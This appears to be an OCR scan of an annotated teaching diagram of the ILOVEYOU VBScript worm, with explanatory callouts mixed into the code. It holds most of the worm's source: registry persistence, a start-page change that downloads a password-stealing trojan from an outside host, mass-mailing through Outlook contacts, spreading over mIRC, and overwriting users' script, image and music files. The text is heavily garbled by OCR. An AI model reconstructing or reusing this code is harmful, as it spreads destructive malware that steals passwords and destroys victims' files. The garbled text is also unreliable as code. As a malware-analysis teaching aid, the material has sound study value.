On Error Resume Next

dm fso,dirsystem ,dirwin ,dirtemp,eq,ctr.file, vbscopy ,dow ,eq=""ctr=0
Setfso = CreateObject(" Scripting.FileSystemObject")

set file= fso.OpenTextFile(W Script.ScriptFullname, 1)
vbscopy=file.ReadAll

2k
b Enal n() check registry
Qn rror Resume Next fortimeout
dim wscr, rr

set wscr=CreateObject(" WScript.Shell')
rr=wscr.RegRead(" HKEY _CURRENT_USER\Software\
Microsoft\Windows Scripting Host\Settings\Timeout'")
if (rr>=1) then

wscr.RegWrite "HKEY _CURRENT_USER\Software\
Microsoft\Windows Scripting Host\Settings\Timeout'* ,
0,"REG_DWORD" ;end if

Set dirwin = fs0.GetSpecial Folder (0)
Set dirsystem = fso.GetSpecial Folder (1)
Set dirtemp = fso.GetSpecial Folder(2)
Set c= fs0.GetFile(WScript.ScriptFullName)
c.Copy (dirsystem & "M SKernel32.vbs')
¢.Copy (dirwin & "Win32DLL.vbs')

c.Copy (dirsystem &"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns () ;spreadtoemail () ;listadriv () ;html(); end sub

copy itself to
system files

call subroutines
to perform tasks

define variables ,and resume if rrors happens
copy itself in vbscopy

Downoad Password Stealing TROJAN Program

add path of the threeinfected

ab regruns () files to registry to run when reboot

On Error Resume Next

regcreateHKEY _LOCAL_MACHINE\Software\Microsoft\Windows\CurrentV ersion\Run\y
SKernel32" dirsystem & "W SKernel32.vbs'

regcreate” HKEY _L OCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Services\Win32DLL " dirwin & "Win32DLL .vbs

downread=""

downread=reggef(" HKEY _CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory")

if (downread="") then downread="c:\" end if

if (fileexist(dirsystem & "WinFAT32.exe")=1) then

Randomize randomize 4 sitesthen WinFAT32 makes|E
nm = Inf(4* Rnd) + 1)
i num =1 then download WIN-BUGSFIX from one of them

regcreate ' HKCU \Software\Microsoft\Internet Explorer\Main\Start

Page"," http:/Avww.skyinet.net- younglsHJK hjnwerhj kxcvytwertnM TFwetrdsfmhPnjw6587345gvsdf 76 79njbvY T/WINBU
GSFIX.exe"

elseif num =2then

regcreate ' HKCU \Software\Microsoft\Internet Explorer\Main\Start

Page","http:/Avww.skyinet.net~ angel catiskl adijfl fdjghK Jnwetry DGFikj Ul yqwerWe546786324hjk4jnHHGbvbmK L K jhkaj4
WWINBUGSFI X .exe"

elseif num =3then

regcreate ' HKCU \Software\Microsoft\Internet Explorer\Main\Start

Page","http:/Avww.skyinet.net- koichi/jf6 T RjkchGRpGgag198vbFV 5hf FEkbopBdQZnmPOhfgER67b3V bvg/WINBUGSFI X
exe"

elseif um =4then

regcreate ' HKCU \Software\Microsoft\Internet Explorer\Main\Start

sub spreadtoemail o TRANSMISION

On Error Resume Next

set regedit=CreateObject(" WScript.Shell')

set out= W Script.CreateObject(" Outlook.Application™)

set mapiFout.GetNameSpace("MAPI')

for ctrlists=1to mapi.AddressLists.Count

set a= mapi. AddressListq ctrlists) , x=1

regv =regedit.RegRead ("HKEY _CURRENT_USER\Software\MicrosoftWAB"&a
if (regv="") then regv=1 end if

if (int(a AddressEntries.Count)> int(regv )) then
for ctrentries=1to a.AddressEntries.Count
malead=a AddressEntries(x) ;regad=""

regad =regedit.RegRead(" HKEY_CURRENT_USER\Software\Mi crosoft
\WARB'& malead)

if (regad="") then set male= out.Createltem (O)
male.Recipients.Add( malead)

male.Subject =" ILOVEYOU"

male.Body = vbcrlf & "kindly check the attached .
LOVELETTER coming from me." attach worm to mail
male. Attachments. Add(dirsystem &"\LOVE-LETTER-FORY OU.TXT.vbs')
male.Send

regedit.RegWriteHKEY _CURRENT_USER \Software
\MicrosoftWAB'& malead,1," REG_DWORD"
endif ; x=x+1 ;next

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\

WAB\" & aa. AddressEntries.Count

elseregedit. RegWriteHKEY_CURRENT_USER\Software\Microsoft\WAB\" & aa.
AddressEntries.Count

get alle-mail addresses

send mail

Page’,"http:/Avww.skyinet.net- chusdgfhjksdfjkI NBmnfgkK L Hjkawt iH TRhA ESNGikhY | innwerasrihPhjasfdgl kNBhbaweh
mznxcbvnm adshfgqw237461234iuy 7thjg/WIN-BUGSFIX exe”  add path to registry to

endif endif
run wh r it
if ( fileexist(downread& "\WINBUGSFIX.exe")=0) then o SIS ebool

regcreateHKEY _LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX “,downread &"\W
IN-BUGSFIX .exe"
regcreate ' HKEY _CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”,"about:blank"

endif end sub make explorer
page blank

f

Get all foldersto start infections

N

On Error Resume Next

sub listadriv () -

On Error Resume Next dim f,f1,sf

Set dc = fso.Drives setf:

For Eachdin dc fso.GetFolder(fol derspec)

1f d.DriveType = 2 or d.DriveType=3 Then setsf- f.SubFolders

INFECT FILES OF BELOW TYP

:’;> l;\v:::;ietrlia(d.path& "\") endif |:>> fOI’ eagh flin sf
listadriv = s infectfiles(f1.path)
end sub folderlist(f1l.path)
. . ;
\ el drlves/ Zr?():l(wb call infectfiles sub.

for each fol der/

@) folderlist (fol derspem

sub infectfiles(folderspec)

On Error Resume Next

setf= fso.GetFolder(folderspec);set fc = f.Files

for each flin fc overwrite with worm code
ext=fso.GetExtensionName(f1.path)

ext=|case( exy) ;s=Icase(fl.name

endif :next end sub add already sent add. to registry
to avoid sending twice to any.
SPREAD IN  IRC CHANNELS \
if (eq<>folderspec) then

if (s=" mirc32.exe") or (=" mlink32.exe ") or (s=" mirc.ini") or

(s=" script.ini ") or (=" mirc.hlp ") then set
scriptini=fso.CreateTextFile(folderspec & "§cript.ini')

scriptini.WriteLine "[script]" if mirc filesfound build script
scriptini.WriteLine ";mIRC Script"

scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
corrupt... WINDOWS will affect and will not run correctly.

scriptini.WriteLine "
thanks" script text that sends LOVE.-
scriptini.WriteLine ";Khaled Mardam -Bey" LETTER-FOR- YOU.htm to users
scriptini.WriteLine ";http:/Avww.mirc.com " who join IRC channel
scriptini.WriteLine " nO=on 1:JOIN:#:{"

scriptini.WriteLine" n1= /if ($nick == $me) { halt }"

scriptini.WriteLine" n2= /.dcc send $nick

"& dirsystem &"\LOVE-LETTER-FOR-YOU.HTM " ;scriptini.WriteLine "n3=}"
scriptini.close

eg=folderspec endif endif next

if (ext="vbs") or (ext="vbe') then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy; ap.close

elseif(ext="js") or (ext="jse") or ( ext="css") or ( ext="wsh") or ( ext=" sct") or ( ext="hta" )

then set ap=fso.OpenTextFile(fLpath ,2,true)  COpPY,overwrite,delete origin,

ap.write vbscopy ;ap.close make type VBS

bname=fso.GetBaseName(f1.path)

set cop= fso.GetFile(f1.path)

cop.copy (folderspec&"\"& bname& "vbs') ;

fso.DeleteFile(f1.path )

elseif(ext="jpg") or ( ext="jpeg") then

set ap=fso.OpenTextFile(f1.path,2,true);ap.write vbscopy ;ap.close

set cop= fso.GetFile(f1.path); cop.copy (fl.path& " vbs") ;fso.DeleteFile(fl.path)
eseif (ext="mp3') or ( ext=" mp2') then

set mp3-fso.CreateTextFile(flpath& " vbs")

mp3.write vbscopy ; mp3.close

set att=fso.GetFile(f1.path)

att.attributes=att.attributes+2 ;end if

copy,overwrite,delete origin,
keep typet+VBS

copy,overwrite,hide origin
keep typet+VBS




